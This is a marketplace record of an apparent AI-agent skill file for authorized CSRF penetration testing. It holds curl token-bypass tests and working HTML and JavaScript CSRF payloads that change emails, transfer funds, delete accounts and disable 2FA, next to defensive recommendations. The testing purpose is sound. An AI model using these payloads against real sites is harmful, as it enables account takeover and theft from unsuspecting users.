[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GS72KA6PZYC1MSQ8JWP5S":3,"skill-same:01M71GS72KA6PZYC1MSQ8JWP5S":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M71GS72KA6PZYC1MSQ8JWP5S","auth-csrf-exploit",null,"Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fcsrf\u002Fexploit\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"auth csrf exploit","auth","csrf","exploit","Bash","request","for","sonnet","penetration","de","cm","read","testing","session-management","application-security","web-application-security","owasp","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: auth-csrf-exploit\ndescription: Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- csrf\n- owasp\n- web-security\n- session-management\n- burpsuite\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1189\ncwe:\n- CWE-352\ncapec: []\n---\n\n# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n","# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n",{"cwe":49,"name":5,"tags":51,"capec":55,"model":31,"tools":56,"domain":42,"maxTurns":60,"nist_csf":61,"subdomain":39,"description":7,"mitre_attack":66},[50],"CWE-352",[52,26,40,53,37,54],"penetration-testing","web-security","burpsuite",[],[57,28,58,59],"Read","Glob","Grep",20,[62,63,64,65],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[67],"T1189","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fauth\u002Fcsrf\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill auth-csrf-exploit",{"tool":81,"command":82},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill auth-csrf-exploit",{"tool":84,"command":85},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill 